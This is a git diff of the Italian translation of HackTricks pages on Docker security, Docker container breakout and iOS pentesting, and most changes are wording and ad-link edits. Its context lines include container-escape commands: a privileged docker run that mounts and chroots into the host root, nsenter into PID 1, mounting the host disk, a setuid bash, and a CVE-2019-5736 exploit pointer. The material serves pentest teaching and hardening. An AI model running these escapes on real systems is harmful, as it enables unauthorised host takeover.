-Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso livello di privilegi. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne.
+Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso livello. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne.
-Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation di privilegi**.
+Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation dei privilegi**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@@ -306,13 +306,13 @@ Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/e
## Altre Considerazioni sulla Sicurezza
-### Gestione delle Password: Migliori Pratiche
+### Gestione dei Segreti: Migliori Pratiche
-È cruciale evitare di incorporare le password direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
+È cruciale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
-I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere alle informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere alle password.
+I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere a informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere ai segreti.
-Le **password Docker** offrono un metodo ancora più sicuro per gestire le informazioni sensibili. Per le istanze che richiedono password durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con il supporto per le password in fase di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive.
+I **segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per i segreti di build-time, migliorando la velocità di build e fornendo funzionalità aggiuntive.
Per sfruttare BuildKit, può essere attivato in tre modi:
@@ -320,7 +320,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi:
2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
-BuildKit consente l'uso di password in fase di costruzione con l'opzione `--secret`, garantendo che queste password non siano incluse nella cache di costruzione dell'immagine o nell'immagine finale, utilizzando un comando come:
+BuildKit consente l'uso di segreti di build-time con l'opzione `--secret`, garantendo che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@@ -337,37 +337,37 @@ secrets:
my_secret:
file: ./my_secret_file.txt
```
-Questo file di configurazione permette l'uso di segreti durante l'avvio dei servizi con Docker Compose.
+Questo file di configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose.
Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli degli accessi basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza della gestione dei segreti, simile a Docker Enterprise.
### gVisor
-**gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, semplificando l'esecuzione di container sandboxati.
+**gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, semplificando l'esecuzione di container sandbox.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
-**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo livello di difesa.
+**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa.
{% embed url="https://katacontainers.io/" %}
### Suggerimenti Riassuntivi
-* **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per prendere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
-* Non eseguire come root all'interno del container. Utilizzare un [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) e [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con gli spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups.
+* **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per assumere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
+* **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **e** [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups.
* [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco.
* [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di ottenere più privilegi, ad esempio attraverso binari suid.
* [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
* **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto.
-* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
-* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini**.
+* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official\_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
+* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
* Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi.
* Se **esponi il demone docker usa HTTPS** con autenticazione client e server.
* Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip.
-* Avere **container separati per ogni microservizio**.
-* **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al container.
+* Avere **container separati per ogni micro-s**ervizio
+* **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al Container.
* Avere **immagini di container più piccole**
## Fuga da Docker / Escalation dei Privilegi
@@ -410,10 +410,10 @@ Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
@@ -424,6 +424,6 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
index 44604e6fc..c4dcad871 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
@@ -6,8 +6,8 @@
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
-* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -17,16 +17,16 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Enumerazione Automatica & Fuga
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è abbastanza **utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente**
-* [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi che il container ha al fine di trovare modi per fuggirne
+* [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi del container al fine di trovare modi per fuggirne
* [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container
* [**grype**](https://github.com/anchore/grype): Ottieni i CVE contenuti nel software installato nell'immagine
@@ -39,7 +39,7 @@ Questo di solito accade nei container docker che per qualche motivo devono conne
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
-In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker:
+In questo caso è possibile utilizzare i comandi docker regolari per comunicare con il demone docker:
```bash
#List images to use one
docker images
@@ -54,7 +54,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
-Nel caso in cui il **socket di Docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/al/docker.sock`**
+Nel caso in cui il **socket di Docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/a/docker.sock`**
{% endhint %}
Il demone Docker potrebbe anche essere [in ascolto su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o nei sistemi basati su Systemd, la comunicazione con il demone Docker può avvenire tramite il socket Systemd `fd://`.
@@ -114,7 +114,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privilegiato
-Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **evadere abusando di release\_agent o di altre evasioni**.
+Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **fuggire abusando di release\_agent o di altre fuggite**.
Testa i seguenti bypass in un container eseguendo:
```bash
@@ -126,14 +126,14 @@ I container Docker ben configurati non permetteranno comandi come **fdisk -l**.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
-Quindi per prendere il controllo della macchina host, è banale:
+Quindi, per prendere il controllo della macchina host, è banale:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`.
-#### Montaggio del disco - Poc2
+#### Montaggio Disco - Poc2
All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo sottostante dell'host tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante:
```bash
@@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
-#### Fuga di privilegi Abuso dell'agent di rilascio esistente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
+#### Fuga di privilegi sfruttando l'agent di rilascio esistente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="PoC iniziale" %}
```bash
@@ -194,7 +194,7 @@ cat /o
```
{% endcode %}
-#### Fuga di privilegi sfruttando release\_agent creato ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
+#### Fuga di privilegi sfruttando il release_agent creato ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="Secondo PoC" %}
```bash
@@ -248,7 +248,7 @@ Trova una **spiegazione della tecnica** in:
#### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3
-Nei precedenti exploit viene **rivelato il percorso assoluto del container all'interno del filesystem dell'host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
+Negli exploit precedenti viene **rivelato il percorso assoluto del container all'interno del filesystem degli host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@@ -374,12 +374,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
-### Escalazione dei privilegi con 2 shell
+### Escalatione dei privilegi con 2 shell
Se hai accesso come **root all'interno di un container** e sei **scappato come utente non privilegiato all'host**, puoi abusare di entrambe le shell per **escalare i privilegi all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tale capacità, all'utente root all'interno del container è consentito **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per **leggere i dati grezzi sul disco del sistema**.
-Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
+Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura dei dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
Esempio di **sfruttamento** da questo [**articolo**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
@@ -454,7 +454,7 @@ Se in qualche modo hai **accesso privilegiato su un processo al di fuori del con
```
docker run --rm -it --network=host ubuntu bash
```
-Se un container è configurato con il driver di rete Docker [host (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container collega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
+Se un container è configurato con il driver di rete host Docker (`--network=host`), lo stack di rete di quel container non è isolato dall'host Docker (il container condivide lo spazio dei nomi di rete dell'host) e al container non viene assegnato un proprio indirizzo IP. In altre parole, il **container collega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`.
Ad esempio, è possibile utilizzare questo metodo per **sniffare e persino falsificare il traffico** tra l'host e l'istanza dei metadati.
@@ -488,10 +488,10 @@ La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-t
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## CVE
@@ -500,7 +500,7 @@ Ottieni l'accesso oggi:
Nel caso in cui tu possa eseguire `docker exec` come root (probabilmente con sudo), puoi provare a elevare i privilegi sfuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica sovrascriverà essenzialmente il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload.
Modifica il payload di conseguenza e compila il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container Docker per l'esecuzione.\
-All'esecuzione, non appena visualizza `[+] Sovrascritto /bin/sh con successo` è necessario eseguire quanto segue dalla macchina host:
+All'esecuzione, non appena visualizza `[+] Sovrascritto /bin/sh con successo`, è necessario eseguire quanto segue dalla macchina host:
`docker exec -it /bin/sh`
@@ -509,7 +509,7 @@ Questo attiverà il payload presente nel file main.go.
Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
-Esistono altre CVE a cui il container potrebbe essere vulnerabile, puoi trovarne un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
+Il container potrebbe essere vulnerabile ad altre CVE, è possibile trovarne un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Fuga personalizzata di Docker
@@ -631,10 +631,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md
index 2153b6594..72b16b6a4 100644
--- a/mobile-pentesting/ios-pentesting/README.md
+++ b/mobile-pentesting/ios-pentesting/README.md
@@ -3,22 +3,22 @@
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-Impara l'hacking di AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking di AWS da zero a eroe conhtARTE (Esperto Red Team di HackTricks AWS)!
Altri modi per supportare HackTricks:
-* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
@@ -28,7 +28,7 @@ Altri modi per supportare HackTricks:
[ios-basics.md](ios-basics.md)
{% endcontent-ref %}
-## Ambiente di test
+## Ambiente di Testing
In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori** e **jailbreaking:**
@@ -36,11 +36,11 @@ In questa pagina puoi trovare informazioni sul **simulatore iOS**, **emulatori**
[ios-testing-environment.md](ios-testing-environment.md)
{% endcontent-ref %}
-## Analisi iniziale
+## Analisi Iniziale
-### Operazioni di base di test di iOS
+### Operazioni di Base di Testing su iOS
-Durante il test **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, **inizia leggendo la pagina**:
+Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, **inizia leggendo la pagina**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
@@ -48,10 +48,10 @@ Durante il test **saranno suggerite diverse operazioni** (connettersi al disposi
{% hint style="info" %}
Per i passaggi seguenti **l'applicazione dovrebbe essere installata** sul dispositivo e dovresti aver già ottenuto il **file IPA** dell'applicazione.\
-Leggi la pagina [Operazioni di base di test di iOS](basic-ios-testing-operations.md) per imparare come fare.
+Leggi la pagina [Operazioni di Base di Testing su iOS](basic-ios-testing-operations.md) per imparare come fare.
{% endhint %}
-### Analisi statica di base
+### Analisi Statica di Base
Si consiglia di utilizzare lo strumento [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) per eseguire un'Analisi Statica automatica del file IPA.
@@ -72,7 +72,7 @@ otool -I -v | grep stack_chk # Dovrebbe includere i simboli: stac
```bash
otool -I -v | grep objc_release # Dovrebbe includere il simbolo _objc_release
```
-* **Binario crittografato**: Il binario dovrebbe essere crittografato
+* **Binario Crittografato**: Il binario dovrebbe essere crittografato
```bash
otool -arch all -Vl | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
@@ -143,9 +143,9 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
-### Analisi dinamica di base
+### Analisi Dinamica di Base
-Controlla l'analisi dinamica che esegue [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi facendo altre cose e preparerà un report una volta completato.
+Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare attraverso le diverse viste e interagire con esse, ma aggancerà diverse classi e farà altre cose e preparerà un report una volta completato.
### Elencazione delle App Installate
@@ -170,26 +170,26 @@ Scopri come **enumerare i componenti dell'applicazione** e come **agganciare fac
[ios-hooking-with-objection.md](ios-hooking-with-objection.md)
{% endcontent-ref %}
-### Struttura IPA
+### Struttura dell'IPA
-La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando l'estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `.app`, che racchiude le risorse dell'applicazione.
+La struttura di un file **IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando l'estensione in `.zip`, è possibile **decomprimere** il file per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `.app`, che racchiude le risorse dell'applicazione.
-* **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione.
+* **`Info.plist`**: Questo file contiene dettagli specifici di configurazione dell'applicazione.
